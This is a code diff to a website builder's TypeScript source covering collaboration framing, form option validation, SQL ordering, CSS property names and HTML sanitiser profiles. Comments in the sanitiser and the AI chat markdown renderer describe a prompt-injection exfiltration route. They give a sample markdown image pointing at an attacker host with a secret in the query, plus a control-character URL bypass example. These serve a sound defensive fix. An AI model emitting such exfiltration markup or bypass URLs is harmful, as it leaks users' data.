--- a/src/admin/pages/site/agent/markdown.ts
+++ b/src/admin/pages/site/agent/markdown.ts
@@ -7,8 +7,10 @@
  *
  * Sanitisation uses the project's existing `sanitizeRichtext`, which is
  * already configured with safe-by-default tags + a hook that rewrites every
- * <a> to `target="_blank" rel="noopener noreferrer"`. That's the same surface
- * the publisher trusts, so chat output meets the same bar.
+ * <a> to `target="_blank" rel="noopener noreferrer"`. It stays on the
+ * image-free default profile, not `RICHTEXT_CONTENT_CONFIG`: a model response
+ * carrying `![x](https://attacker/?d=secret)` must not become a live <img>
+ * the admin browser fetches.
  *
  * Streaming: this helper is called per text block on every render. `marked`
  * handles partial input gracefully (an unfinished `**` simply renders as
diff --git a/src/admin/pages/site/collab/collabProvider.ts b/src/admin/pages/site/collab/collabProvider.ts
index b22c8a705..90fcc8d78 100644
--- a/src/admin/pages/site/collab/collabProvider.ts
+++ b/src/admin/pages/site/collab/collabProvider.ts
@@ -34,6 +34,7 @@ import * as decoding from 'lib0/decoding'
 import * as syncProtocol from 'y-protocols/sync'
 import * as awarenessProtocol from 'y-protocols/awareness'
 import {
+  createCollabFrameReader,
   decodeCollabFrame,
   encodeCollabFrame,
   FRAME_AWARENESS,
@@ -154,6 +155,7 @@ export function createCollabProvider(
   let reconnectTimer: ReturnType<typeof setTimeout> | undefined
   let pingTimer: ReturnType<typeof setInterval> | undefined
   let lastInboundAt = 0
+  const frameReader = createCollabFrameReader()
 
   const presenceDoc = new Y.Doc()
   const awareness = new awarenessProtocol.Awareness(presenceDoc)
@@ -343,14 +345,24 @@ export function createCollabProvider(
     socket.onmessage = (event) => {
       lastInboundAt = Date.now()
       const { data } = event
-      if (data instanceof ArrayBuffer) handleFrame(new Uint8Array(data))
-      else if (data instanceof Uint8Array) handleFrame(data)
+      try {
+        const packet = data instanceof ArrayBuffer ? new Uint8Array(data) : data instanceof Uint8Array ? data : null
+        if (!packet) return
+        const frame = frameReader.read(packet)
+        if (frame) handleFrame(frame)
+      } catch (err) {
+        console.error('[collab] Invalid server frame:', err)
+        frameReader.clear()
+        setStatus('offline')
+        socket?.close()
+      }
     }
 
     // Errors always surface as a close — reconnect is scheduled there.
     socket.onerror = () => {}
 
     socket.onclose = () => {
+      frameReader.clear()
       socket = null
       clearInterval(pingTimer)
       pingTimer = undefined
@@ -421,6 +433,7 @@ export function createCollabProvider(
       return () => resetListeners.delete(listener)
     },
     destroy: () => {
+      frameReader.clear()
       destroyed = true
       clearTimeout(reconnectTimer)
       clearInterval(pingTimer)
diff --git a/src/core/collab/frameTransfer.ts b/src/core/collab/frameTransfer.ts
new file mode 100644
index 000000000..94edeeac8
--- /dev/null
+++ b/src/core/collab/frameTransfer.ts
@@ -0,0 +1,55 @@
+/** Bounded server-to-client packets keep large stored documents below socket backpressure. */
+import * as encoding from 'lib0/encoding'
+import * as decoding from 'lib0/decoding'
+import { decodeCollabFrame, encodeCollabFrame } from './protocol'
+
+const FRAGMENT = 5
+const PACKET_BYTES = 256 * 1024
+const MAX_TRANSFER_BYTES = 64 * 1024 * 1024
+const MAX_TRANSFERS = 4
+let transferSequence = 0
+
+export function* collabFramePackets(frame: Uint8Array): Generator<Uint8Array> {
+  if (frame.byteLength <= PACKET_BYTES) { yield frame; return }
+  if (frame.byteLength > MAX_TRANSFER_BYTES) throw new Error('Collaboration document exceeds transfer limit')
+  const id = String(++transferSequence)
+  for (let offset = 0; offset < frame.byteLength; offset += PACKET_BYTES) {
+    const encoder = encoding.createEncoder()
+    encoding.writeVarUint(encoder, frame.byteLength)
+    encoding.writeVarUint(encoder, offset)
+    encoding.writeUint8Array(encoder, frame.subarray(offset, offset + PACKET_BYTES))
+    yield encodeCollabFrame('', id, FRAGMENT, encoding.toUint8Array(encoder))
+  }
+}
+
+export function createCollabFrameReader() {
+  const pending = new Map<string, { bytes: Uint8Array; offset: number }>()
+  let allocated = 0
+  return {
+    read(packet: Uint8Array): Uint8Array | null {
+      const frame = decodeCollabFrame(packet)
+      if (frame.frameType !== FRAGMENT) return packet
+      const decoder = decoding.createDecoder(frame.payload)
+      const total = decoding.readVarUint(decoder)
+      const offset = decoding.readVarUint(decoder)
+      const chunk = decoding.readTailAsUint8Array(decoder)
+      if (frame.docId !== '' || !frame.generation || !Number.isSafeInteger(total) || !Number.isSafeInteger(offset) || total <= PACKET_BYTES || total > MAX_TRANSFER_BYTES || !chunk.byteLength || chunk.byteLength > PACKET_BYTES || offset + chunk.byteLength > total) throw new Error('Invalid collaboration fragment')
+      let transfer = pending.get(frame.generation)
+      if (!transfer) {
+        if (offset !== 0 || pending.size >= MAX_TRANSFERS || allocated + total > MAX_TRANSFER_BYTES) throw new Error('Invalid collaboration transfer start')
+        transfer = { bytes: new Uint8Array(total), offset: 0 }
+        pending.set(frame.generation, transfer)
+        allocated += total
+      }
+      if (transfer.bytes.byteLength !== total || transfer.offset !== offset) throw new Error('Invalid collaboration fragment order')
+      transfer.bytes.set(chunk, offset)
+      transfer.offset += chunk.byteLength
+      if (transfer.offset !== total) return null
+      pending.delete(frame.generation)
+      allocated -= total
+      if (decodeCollabFrame(transfer.bytes).frameType === FRAGMENT) throw new Error('Nested collaboration fragments are invalid')
+      return transfer.bytes
+    },
+    clear(): void { pending.clear(); allocated = 0 },
+  }
+}
diff --git a/src/core/collab/index.ts b/src/core/collab/index.ts
index c1fb63adc..3ce9ff7f3 100644
--- a/src/core/collab/index.ts
+++ b/src/core/collab/index.ts
@@ -46,6 +46,7 @@ export {
   type ResetReason,
 } from './protocol'
 export { createCollabDocSet, type CollabDocSet } from './docSet'
+export { collabFramePackets, createCollabFrameReader } from './frameTransfer'
 export { applySitePatchesToDocs } from './applyPatches'
 export {
   populateComponentDoc,
diff --git a/src/core/forms/validation.ts b/src/core/forms/validation.ts
index 208659dad..13e7cce5f 100644
--- a/src/core/forms/validation.ts
+++ b/src/core/forms/validation.ts
@@ -1,5 +1,6 @@
 import type {
   DataField,
+  DataSelectOption,
   DataTable,
 } from '@core/data/schemas'
 import { isValidEmail } from '../utils/email'
@@ -115,8 +116,11 @@ function coerceFieldValue(field: DataField, value: unknown): CoerceResult {
     case 'email':
     case 'date':
     case 'dateTime':
-    case 'select':
       return { ok: true, value: String(value) }
+    case 'select': {
+      const optionId = resolveOptionId(field.options, String(value))
+      return optionId === null ? invalidOption() : { ok: true, value: optionId }
+    }
     case 'number': {
       const numberValue = typeof value === 'number' ? value : Number(value)
       return Number.isFinite(numberValue)
@@ -125,10 +129,15 @@ function coerceFieldValue(field: DataField, value: unknown): CoerceResult {
     }
     case 'boolean':
       return { ok: true, value: coerceBoolean(value) }
-    case 'multiSelect':
-      return Array.isArray(value)
-        ? { ok: true, value: value.map(String) }
-        : { ok: true, value: [String(value)] }
+    case 'multiSelect': {
+      const optionIds: string[] = []
+      for (const item of Array.isArray(value) ? value : [value]) {
+        const optionId = resolveOptionId(field.options, String(item))
+        if (optionId === null) return invalidOption()
+        optionIds.push(optionId)
+      }
+      return { ok: true, value: optionIds }
+    }
     case 'media':
       if (field.allowMultiple) {
         return Array.isArray(value)
@@ -150,6 +159,18 @@ function coerceFieldValue(field: DataField, value: unknown): CoerceResult {
   }
 }
 
+function invalidOption(): CoerceResult {
+  return { ok: false, code: 'invalid_option', message: 'Choose one of the allowed options.' }
+}
+
+// Form controls submit the option `value` authors see in the Data tab, while
+// the stored cell is the option `id` (see src/core/data/schemas.ts). Accept
+// either and store the id.
+function resolveOptionId(options: DataSelectOption[], raw: string): string | null {
+  const option = options.find((candidate) => candidate.id === raw || candidate.value === raw)
+  return option ? option.id : null
+}
+
 function coerceBoolean(value: unknown): boolean {
   if (typeof value === 'boolean') return value
   if (typeof value === 'number') return value !== 0
@@ -219,20 +240,6 @@ function validateCoercedValue(
     }
   }
 
-  if (field.type === 'select' && typeof value === 'string') {
-    const allowed = new Set(field.options.map((option) => option.id))
-    if (!allowed.has(value)) {
-      return { fieldId: field.id, code: 'invalid_option', message: 'Choose one of the allowed options.' }
-    }
-  }
-
-  if (field.type === 'multiSelect' && Array.isArray(value)) {
-    const allowed = new Set(field.options.map((option) => option.id))
-    if (value.some((item) => !allowed.has(String(item)))) {
-      return { fieldId: field.id, code: 'invalid_option', message: 'Choose one of the allowed options.' }
-    }
-  }
-
   return null
 }
 
diff --git a/src/core/html-sanitize/index.ts b/src/core/html-sanitize/index.ts
index ca4b6b7ec..f9fe137f2 100644
--- a/src/core/html-sanitize/index.ts
+++ b/src/core/html-sanitize/index.ts
@@ -38,6 +38,25 @@ const SAFE_URL_SCHEMES = new Set(['http:', 'https:', 'mailto:', 'tel:', 'sms:'])
  */
 const DANGEROUS_URL_SCHEMES = new Set(['javascript:', 'vbscript:', 'data:'])
 
+/**
+ * Apply the WHATWG URL parser's input clean-up: strip leading and trailing C0
+ * controls and space (U+0000-U+0020), then remove every ASCII tab / LF / CR.
+ * Guards that inspect a URL's shape must read this form, or a value such as
+ * `"\u0001//evil.example"` looks relative here while the browser resolves it
+ * as protocol-relative.
+ */
+export function normalizeUrlForParsing(value: string): string {
+  // Matching control characters is the entire point of this function — the C0
+  // range is what the URL parser strips and what the old `trim()`-based guard
+  // missed, so `no-control-regex` is inverted here.
+  /* eslint-disable no-control-regex */
+  return value
+    .replace(/^[\u0000-\u0020]+/, '')
+    .replace(/[\u0000-\u0020]+$/, '')
+    .replace(/[\t\n\r]/g, '')
+  /* eslint-enable no-control-regex */
+}
+
 /**
  * Extract the scheme the way the WHATWG URL parser does, so this guard cannot
  * disagree with the browser that ultimately resolves the value:
@@ -62,16 +81,7 @@ const DANGEROUS_URL_SCHEMES = new Set(['javascript:', 'vbscript:', 'data:'])
  * implementation behaves identically in Bun, in browsers, and in the sandbox.
  */
 export function urlScheme(value: string): string | null {
-  // Matching control characters is the entire point of this function — the C0
-  // range is what the URL parser strips and what the old `trim()`-based guard
-  // missed, so `no-control-regex` is inverted here.
-  /* eslint-disable no-control-regex */
-  const normalized = value
-    .replace(/^[\u0000-\u0020]+/, '')
-    .replace(/[\u0000-\u0020]+$/, '')
-    .replace(/[\t\n\r]/g, '')
-  /* eslint-enable no-control-regex */
-  const match = /^([a-zA-Z][a-zA-Z0-9+.-]*):/.exec(normalized)
+  const match = /^([a-zA-Z][a-zA-Z0-9+.-]*):/.exec(normalizeUrlForParsing(value))
   return match ? `${match[1].toLowerCase()}:` : null
 }
 
diff --git a/src/core/htmlImport/walkAndMap.ts b/src/core/htmlImport/walkAndMap.ts
index 7e0ff7be2..d164881f2 100644
--- a/src/core/htmlImport/walkAndMap.ts
+++ b/src/core/htmlImport/walkAndMap.ts
@@ -123,8 +123,13 @@ const HTML_ATTRIBUTE_MODULES = new Set([
   'base.form',
 ])
 
+// `rel` is deliberately absent from the anchor modules: base.link and
+// base.button only ever generate the security rel for `target="_blank"`, so a
+// source-declared `rel` (nofollow, sponsored, next/prev, …) has no other home
+// and would be lost outright. It stays in the bag and the modules merge it
+// with the security rel at render time (`anchorHtmlAttributes`).
 const MODULE_GENERATED_ATTRIBUTE_NAMES: Record<string, readonly string[]> = {
-  'base.button': ['aria-disabled', 'disabled', 'href', 'rel', 'target', 'type'],
+  'base.button': ['aria-disabled', 'disabled', 'href', 'target', 'type'],
   'base.form': [
     'action',
     'data-instatic-form-id',
@@ -146,7 +151,7 @@ const MODULE_GENERATED_ATTRIBUTE_NAMES: Record<string, readonly string[]> = {
     'style',
     'width',
   ],
-  'base.link': ['href', 'rel', 'target'],
+  'base.link': ['href', 'target'],
 }
 
 /**
diff --git a/src/core/loops/cellFilter.ts b/src/core/loops/cellFilter.ts
index 2807aa3c3..db726099a 100644
--- a/src/core/loops/cellFilter.ts
+++ b/src/core/loops/cellFilter.ts
@@ -43,19 +43,31 @@ export function parseCellOrder(orderBy: string): { field: string } | null {
 /**
  * `ORDER BY` expression for a cell, with the field name bound as a parameter.
  *
- * Values are compared as TEXT in both dialects. ISO dates — the reason this
- * exists — sort chronologically that way, and text sorts naturally. Numbers
- * sort lexicographically (`'10' < '9'`), which is the price of one predictable
- * rule across Postgres and SQLite instead of two subtly different ones.
+ * Number fields compare their stored JSON numbers numerically. Missing, null
+ * or non-number cells sort last in either direction, matching readNumberCell's
+ * typed semantics. Other scalar fields compare as text; ISO dates retain their
+ * chronological ordering. The source selects the mode from table field metadata.
  */
 export function cellOrderSql(input: {
   field: string
   dialect: 'postgres' | 'sqlite'
   column: string
   paramIndex: number
+  numeric: boolean
 }): { sql: string; params: unknown[] } {
-  const { field, dialect, column, paramIndex } = input
+  const { field, dialect, column, paramIndex, numeric } = input
   const placeholder = dialect === 'postgres' ? `$${paramIndex}` : '?'
+  if (numeric) {
+    const value = dialect === 'postgres'
+      ? `case when jsonb_typeof(${column} #> array[${placeholder}]) = 'number' then cast((${column} #>> array[${placeholder}]) as numeric) end`
+      : `case when json_type(${column}, '$.' || ${placeholder}) in ('integer', 'real') then json_extract(${column}, '$.' || ${placeholder}) end`
+    return {
+      sql: `case when (${value}) is null then 1 else 0 end asc, ${value}`,
+      // Numbered Postgres parameters can be reused; SQLite's positional '?'
+      // binds once per occurrence, in the order they appear in the query.
+      params: dialect === 'postgres' ? [field] : [field, field, field, field],
+    }
+  }
   const raw = dialect === 'postgres'
     ? `(${column} #>> array[${placeholder}])`
     : `cast(json_extract(${column}, '$.' || ${placeholder}) as text)`
diff --git a/src/core/loops/index.ts b/src/core/loops/index.ts
index dcc882132..697147a20 100644
--- a/src/core/loops/index.ts
+++ b/src/core/loops/index.ts
@@ -17,3 +17,7 @@ export {
   resolveEntryFieldItems,
   type EntryFieldMedia,
 } from './sources/entryField'
+
+// Media projection shared by the `data.rows` source and the publisher's
+// entry-route frame, so `{currentEntry.<mediaField>}` resolves identically.
+export { collectMediaIds, resolveMediaIdsToPaths, resolvedMediaOverlay } from './sources/dataRowsMedia'
diff --git a/src/core/loops/sources/dataRows.ts b/src/core/loops/sources/dataRows.ts
index 2e2abe3d2..eeecf9761 100644
--- a/src/core/loops/sources/dataRows.ts
+++ b/src/core/loops/sources/dataRows.ts
@@ -183,9 +183,9 @@ async function fetchPage(
   db: LoopSourceDb,
   orderBy: OrderColumn,
   direction: 'asc' | 'desc',
-  opts: { tableId: string; limit: number; offset: number; filter: CellFilter | null; orderCellField: string | null },
+  opts: { tableId: string; limit: number; offset: number; filter: CellFilter | null; orderCell: { field: string; numeric: boolean } | null },
 ): Promise<PublishedDataRowSqlRow[]> {
-  const { tableId, limit, offset, filter, orderCellField } = opts
+  const { tableId, limit, offset, filter, orderCell } = opts
   const column = 'data_row_versions.cells_json'
   // SQLite binds `?` by POSITION IN THE TEXT, so the parameter list must follow
   // the clause order: tableId, the cell condition (WHERE), the ordering cell
@@ -194,8 +194,8 @@ async function fetchPage(
     ? cellFilterSql({ filter, dialect: db.dialect, column, nextParamIndex: 2 })
     : null
   const cellParams = cell?.params ?? []
-  const order = orderCellField
-    ? cellOrderSql({ field: orderCellField, dialect: db.dialect, column, paramIndex: 2 + cellParams.length })
+  const order = orderCell
+    ? cellOrderSql({ ...orderCell, dialect: db.dialect, column, paramIndex: 2 + cellParams.length })
     : null
   const orderColumn = order ? order.sql : POST_TYPE_ORDER_COLUMN[orderBy]
   const orderParams = order?.params ?? []
@@ -346,12 +346,12 @@ async function fetchDataKindPage(
     limit: number
     offset: number
     filter: CellFilter | null
-    orderCellField: string | null
+    orderCell: { field: string; numeric: boolean } | null
     /** Post-type drafts (a branch): skip rows explicitly taken offline. */
     excludeUnpublished: boolean
   },
 ): Promise<DataKindRowSqlRow[]> {
-  const { tableId, limit, offset, filter, orderCellField, excludeUnpublished } = opts
+  const { tableId, limit, offset, filter, orderCell, excludeUnpublished } = opts
   const sortKey: 'createdAt' | 'updatedAt' | 'slug' =
     orderBy === 'updatedAt' ? 'updatedAt' : orderBy === 'slug' ? 'slug' : 'createdAt'
   const column = 'data_rows.cells_json'
@@ -360,8 +360,8 @@ async function fetchDataKindPage(
     ? cellFilterSql({ filter, dialect: db.dialect, column, nextParamIndex: 2 })
     : null
   const cellParams = cell?.params ?? []
-  const order = orderCellField
-    ? cellOrderSql({ field: orderCellField, dialect: db.dialect, column, paramIndex: 2 + cellParams.length })
+  const order = orderCell
+    ? cellOrderSql({ ...orderCell, dialect: db.dialect, column, paramIndex: 2 + cellParams.length })
     : null
   const orderColumn = order ? order.sql : DATA_KIND_ORDER_COLUMN[sortKey]
   const orderParams = order?.params ?? []
@@ -450,7 +450,10 @@ export async function fetchPublishedDataRowItems(
   // in which case the sort runs on the row's own cell (the field name binds
   // as a parameter, so nothing reaches the SQL text).
   const cellOrder = parseCellOrder(opts.orderBy)
-  const orderCellField = cellOrder?.field ?? null
+  const orderCell = cellOrder ? {
+    field: cellOrder.field,
+    numeric: fields.some((field) => field.id === cellOrder.field && field.type === 'number'),
+  } : null
   const orderBy: OrderColumn = ALLOWED_ORDER_BY.has(opts.orderBy as OrderColumn)
     ? (opts.orderBy as OrderColumn)
     : 'publishedAt'
@@ -480,7 +483,7 @@ export async function fetchPublishedDataRowItems(
       limit: opts.limit,
       offset: opts.offset,
       filter: cellFilter,
-      orderCellField,
+      orderCell,
       excludeUnpublished,
     })
     const mediaPathMap = await resolveMediaIdsToPaths(db, collectMediaIds(sqlRows, fields))
@@ -512,7 +515,7 @@ export async function fetchPublishedDataRowItems(
     limit: opts.limit,
     offset: opts.offset,
     filter: cellFilter,
-    orderCellField,
+    orderCell,
   })
   const mediaPathMap = await resolveMediaIdsToPaths(db, collectMediaIds(sqlRows, fields))
 
diff --git a/src/core/persistence/validationShared.ts b/src/core/persistence/validationShared.ts
index 3401a77d4..ea6df333c 100644
--- a/src/core/persistence/validationShared.ts
+++ b/src/core/persistence/validationShared.ts
@@ -5,7 +5,7 @@
  * the canonical import path for consumers.
  */
 
-import { isRichtextPropKey, sanitizeRichtext } from '@core/sanitize'
+import { isRichtextPropKey, RICHTEXT_CONTENT_CONFIG, sanitizeRichtext } from '@core/sanitize'
 
 export class SiteValidationError extends Error {
   readonly path: string
@@ -33,7 +33,7 @@ export function sanitizeNodeProps(node: unknown): void {
   if (n.props && typeof n.props === 'object') {
     for (const [key, val] of Object.entries(n.props)) {
       if (isRichtextPropKey(key) && typeof val === 'string') {
-        n.props[key] = sanitizeRichtext(val)
+        n.props[key] = sanitizeRichtext(val, RICHTEXT_CONTENT_CONFIG)
       }
     }
   }
diff --git a/src/core/publisher/classCss.ts b/src/core/publisher/classCss.ts
index 6c2bbaa7e..a5347ffd0 100644
--- a/src/core/publisher/classCss.ts
+++ b/src/core/publisher/classCss.ts
@@ -11,8 +11,11 @@ import { responsiveBackgroundImage, type ResponsiveCssOptions } from './responsi
 /**
  * Convert a camelCase CSS property name to kebab-case.
  * "backgroundColor" -> "background-color", "zIndex" -> "z-index"
+ * Custom properties are case-sensitive and pass through as authored, so
+ * `--brandColor` keeps matching `var(--brandColor)`.
  */
 function toKebab(camel: string): string {
+  if (camel.startsWith('--')) return camel
   return camel.replace(/([A-Z])/g, (_, c: string) => `-${c.toLowerCase()}`)
 }
 
@@ -49,12 +52,19 @@ const DENIED_PROPS = new Set<string>([
 ])
 
 /**
- * A syntactically valid CSS property name. `-{0,2}` allows an optional leading
- * `-` (vendor prefix, e.g. `-webkit-...`) or `--` (custom property), then a
- * letter, then letters / digits / hyphens. Zero dashes covers the camelCase
- * keys our editor writes (`fontSize`) AND plain kebab-case keys (`flex-grow`).
+ * A syntactically valid CSS property name. `-?` allows an optional leading `-`
+ * (vendor prefix, e.g. `-webkit-...`), then a letter, then letters / digits /
+ * hyphens. No dash covers the camelCase keys our editor writes (`fontSize`)
+ * AND plain kebab-case keys (`flex-grow`).
  */
-const VALID_PROPERTY_RE = /^-{0,2}[a-zA-Z][a-zA-Z0-9-]*$/
+const VALID_PROPERTY_RE = /^-?[a-zA-Z][a-zA-Z0-9-]*$/
+
+/**
+ * A custom property name. The spec allows any identifier after `--`, so
+ * underscores and a leading `--_` are valid; Webflow exports generate both
+ * (`--brand---ds_mapped---bg`, `--_mapped---button--fill`).
+ */
+const CUSTOM_PROPERTY_RE = /^--[a-zA-Z0-9_-]+$/
 
 /**
  * Whether a property may be emitted into published CSS. Permissive: valid CSS
@@ -62,7 +72,8 @@ const VALID_PROPERTY_RE = /^-{0,2}[a-zA-Z][a-zA-Z0-9-]*$/
  * the same gate (no second source of truth).
  */
 export function isEmittableProperty(prop: string): boolean {
-  return VALID_PROPERTY_RE.test(prop) && !DENIED_PROPS.has(prop.toLowerCase())
+  const valid = prop.startsWith('--') ? CUSTOM_PROPERTY_RE.test(prop) : VALID_PROPERTY_RE.test(prop)
+  return valid && !DENIED_PROPS.has(prop.toLowerCase())
 }
 
 // ---------------------------------------------------------------------------
diff --git a/src/core/publisher/escapeProps.ts b/src/core/publisher/escapeProps.ts
index 070f38fc3..f84af1b03 100644
--- a/src/core/publisher/escapeProps.ts
+++ b/src/core/publisher/escapeProps.ts
@@ -37,7 +37,7 @@
 
 import type { PropertyControl, PropertySchema } from '@core/module-engine'
 import { escapeHtml, isSafeUrl } from './utils'
-import { sanitizeRichtext, sanitizeSvg } from '@core/sanitize'
+import { RICHTEXT_CONTENT_CONFIG, sanitizeRichtext, sanitizeSvg } from '@core/sanitize'
 
 /**
  * Resolve the control declared for `key`. Top-level keys are a direct lookup;
@@ -94,7 +94,7 @@ export function escapeProps(
       // values cannot reach the published HTML unsanitized.
       // sanitizeRichtext falls back to conservative tag stripping only in
       // runtimes that have not installed DOMPurify (for example one-off scripts).
-      escaped[key] = sanitizeRichtext(value)
+      escaped[key] = sanitizeRichtext(value, RICHTEXT_CONTENT_CONFIG)
     } else if (type === 'url' || type === 'image' || type === 'media') {
       // URLs: block javascript: and vbscript: schemes; pass safe URLs through raw
       // so that module render() functions can HTML-escape them via safeUrl() from
diff --git a/src/core/publisher/renderNode.ts b/src/core/publisher/renderNode.ts
index e54aec67e..21dcee522 100644
--- a/src/core/publisher/renderNode.ts
+++ b/src/core/publisher/renderNode.ts
@@ -34,7 +34,7 @@ import { injectNodeClassIds, injectNodeId, injectNodeInlineStyles } from './clas
 import { renderVisualComponentRef } from './renderVisualComponentRef'
 import { renderLoop } from './renderLoop'
 import { resolveAutoSizes } from './sizesResolver'
-import { sanitizeRichtext } from '@core/sanitize'
+import { RICHTEXT_CONTENT_CONFIG, sanitizeRichtext } from '@core/sanitize'
 import type {
   RenderConfig,
   RenderAccumulators,
@@ -222,7 +222,7 @@ function renderHolePlaceholder(
   acc.holeNodeIds.add(node.id)
 
   const rawPlaceholder = def.staticPlaceholder?.(node.props as never) ?? ''
-  const sanitized = rawPlaceholder ? sanitizeRichtext(rawPlaceholder) : ''
+  const sanitized = rawPlaceholder ? sanitizeRichtext(rawPlaceholder, RICHTEXT_CONTENT_CONFIG) : ''
 
   const safeId = escapeHtml(node.id)
   const version = config.publishVersion ?? 0
diff --git a/src/core/sanitize.ts b/src/core/sanitize.ts
index a7d0d4f1e..f0446d9b1 100644
--- a/src/core/sanitize.ts
+++ b/src/core/sanitize.ts
@@ -19,7 +19,8 @@
  * CONFIGURATION
  * -------------
  * Default config allows safe formatting tags (strong, em, u, a, ul, ol, li, p, br, h1-h6)
- * and blocks all script execution. Use `sanitizeRichtext(val, STRICT_CONFIG)` to strip
+ * and blocks all script execution. Published content paths use
+ * `RICHTEXT_CONTENT_CONFIG`, which also admits images. Use `sanitizeRichtext(val, STRICT_CONFIG)` to strip
  * all HTML tags and return plain text only (e.g. for meta fields, titles).
  *
  * @see Task #261 — Enforce DOMPurify at Properties Panel boundary
@@ -28,6 +29,7 @@
  */
 
 import DOMPurify, { type Config } from 'dompurify'
+import { normalizeUrlForParsing, urlScheme } from '@core/html-sanitize'
 
 type DOMPurifyHookNode = {
   tagName?: string
@@ -65,8 +67,10 @@ const hookedPurifiers = new WeakSet<object>()
 
 /**
  * Attribute post-pass, installed once per purifier: every link opens in a new
- * tab with `noopener`, and profiles that opt in (`_externalImagesOnly`) keep
- * only absolute http(s) images, stamped no-referrer + lazy. DOMPurify admits
+ * tab with `noopener`. Images (only in profiles that allow `<img>`) accept
+ * http(s) or same-origin relative paths; profiles that opt in
+ * (`_externalImagesOnly`) keep only absolute http(s) images, stamped
+ * no-referrer + lazy. DOMPurify admits
  * `data:` on <img> regardless of `ALLOWED_URI_REGEXP`, so the image rule
  * cannot be expressed in the config alone.
  */
@@ -77,11 +81,21 @@ function installAttributeHook(purifier: DOMPurifyRuntime): DOMPurifyRuntime {
         node.setAttribute?.('target', '_blank')
         node.setAttribute?.('rel', 'noopener noreferrer')
       }
-      if (node.tagName === 'IMG' && config._externalImagesOnly) {
+      if (node.tagName === 'IMG') {
         const src = node.getAttribute?.('src') ?? ''
-        if (!/^https?:\/\//i.test(src.replace(/\s+/g, ''))) node.removeAttribute?.('src')
-        node.setAttribute?.('referrerpolicy', 'no-referrer')
-        node.setAttribute?.('loading', 'lazy')
+        const scheme = urlScheme(src)
+        // Match browser URL normalization before checking relative authority forms.
+        // DOMPurify admits image data URIs even without ALLOWED_URI_REGEXP.
+        const normalized = normalizeUrlForParsing(src)
+        const absoluteHttp = (scheme === 'http:' || scheme === 'https:') && /^https?:\/\//i.test(normalized)
+        const relative = scheme === null && !normalized.startsWith('//')
+        if (normalized.includes('\\') || !(config._externalImagesOnly ? absoluteHttp : absoluteHttp || relative)) {
+          node.removeAttribute?.('src')
+        }
+        if (config._externalImagesOnly) {
+          node.setAttribute?.('referrerpolicy', 'no-referrer')
+          node.setAttribute?.('loading', 'lazy')
+        }
       }
     })
     hookedPurifiers.add(purifier)
@@ -150,6 +164,11 @@ function stripHtmlFallback(value: string): string {
 /**
  * Default richtext config — allows safe HTML formatting, blocks all scripts.
  * Suitable for user-authored HTML content (headings, paragraphs, lists, links).
+ *
+ * Deliberately image-free: admin surfaces such as the AI assistant chat
+ * renderer use this default, and a live remote `<img>` there would let a
+ * prompt-injected model response exfiltrate data through the image URL.
+ * Published content that needs images uses `RICHTEXT_CONTENT_CONFIG`.
  */
 const RICHTEXT_CONFIG: Config = {
   // Allow safe semantic/formatting tags
@@ -174,6 +193,24 @@ const RICHTEXT_CONFIG: Config = {
   RETURN_DOM_FRAGMENT: false,
 }
 
+/**
+ * Content richtext config: the default set plus images and captions, for site
+ * content that is stored and published (entry bodies, richtext props, binding
+ * outputs, module placeholders). The attribute hook keeps an `<img src>` only
+ * when it is absolute http(s) or a same-origin relative path, so `data:`,
+ * `javascript:`, protocol-relative and backslash forms lose their `src`.
+ * Never use this profile for admin-only renderers of untrusted text (the AI
+ * chat), where a remote image is an exfiltration channel.
+ */
+export const RICHTEXT_CONTENT_CONFIG: SanitizerConfig = {
+  ...RICHTEXT_CONFIG,
+  ALLOWED_TAGS: [...(RICHTEXT_CONFIG.ALLOWED_TAGS ?? []), 'img', 'figure', 'figcaption'],
+  ALLOWED_ATTR: [
+    ...(RICHTEXT_CONFIG.ALLOWED_ATTR ?? []),
+    'src', 'alt', 'title', 'width', 'height', 'loading', 'decoding',
+  ],
+}
+
 /**
  * Strict config — strips ALL HTML tags; returns plain text only.
  * Use for single-line fields that should never contain markup.
diff --git a/src/core/siteImport/buildPlan.ts b/src/core/siteImport/buildPlan.ts
index f9097919a..1da5be931 100644
--- a/src/core/siteImport/buildPlan.ts
+++ b/src/core/siteImport/buildPlan.ts
@@ -24,7 +24,9 @@ import { makeHtmlPagePlan } from './htmlPagePlan'
 import { buildAssetPlan, type CssFileResult } from './assetPlan'
 import { partitionLinkedStylesheets } from './stylesheetPlan'
 import { detectCrossSheetClassConflicts } from './classCascades'
-import { detectConflicts } from './conflicts'
+import { detectConflicts, rewriteImportVarRefs } from './conflicts'
+import { declaredCustomProperties } from './varRefs'
+import { normalizeImportedTokens } from './tokenNames'
 import { createCssPlanState, parseCssSourceIntoPlan } from './planCss'
 import { rewriteNpmCdnModuleImports } from './scriptDependencies'
 import { mergeScriptOrder, type PageScriptSequence } from './scriptOrder'
@@ -166,26 +168,38 @@ export function buildImportPlan({ fileMap, currentSite, options }: BuildImportPl
     buildAssetPlan(rawPagePlans, publishableCssFileResults, fileMap, rawStylesheetSources)
   warnings.push(...assetWarnings)
 
+  // 5b. Colour and font tokens are emitted under their normalised name
+  //     (`--brand---neutral--700` → `--brand-neutral-700`, `--font-Heading` →
+  //     `--font-heading`). Settle those names now and rewrite the imported
+  //     `var()` references to match, so the conflict step and the commit both
+  //     see the name that is emitted. Both kinds share one CSS namespace and
+  //     are settled together.
+  const { colors, fonts: fontTokens, renames } = normalizeImportedTokens(
+    { colors: [...cssPlan.colorsBySlug.values()], fonts: [...cssPlan.fontTokensByVariable.values()] },
+    declaredCustomProperties(normalizedPagePlans, normalizedStyleRules),
+  )
+  const { pages, styleRules } = rewriteImportVarRefs(normalizedPagePlans, normalizedStyleRules, renames)
+
   // 6. Detect conflicts against the current site — pages, class rules, and
   //    design tokens (colour + font) all flow through one resolution model.
   const conflicts = detectConflicts(
     currentSite,
-    normalizedPagePlans,
-    normalizedStyleRules,
-    [...cssPlan.colorsBySlug.values()],
-    [...cssPlan.fontTokensByVariable.values()],
+    pages,
+    styleRules,
+    colors,
+    fontTokens,
   )
 
   return {
-    pages: normalizedPagePlans,
-    styleRules: normalizedStyleRules,
+    pages,
+    styleRules,
     styleRuleSources,
     fonts,
     googleFonts: [...googleFontsByFamily.values()],
     conditions: [...cssPlan.conditionsById.values()],
     assets,
-    colors: [...cssPlan.colorsBySlug.values()],
-    fontTokens: [...cssPlan.fontTokensByVariable.values()],
+    colors,
+    fontTokens,
     scripts,
     linkedStylesheets,
     stylesheets,
diff --git a/src/core/siteImport/conflicts.ts b/src/core/siteImport/conflicts.ts
index 80c30b096..5bfc1494c 100644
--- a/src/core/siteImport/conflicts.ts
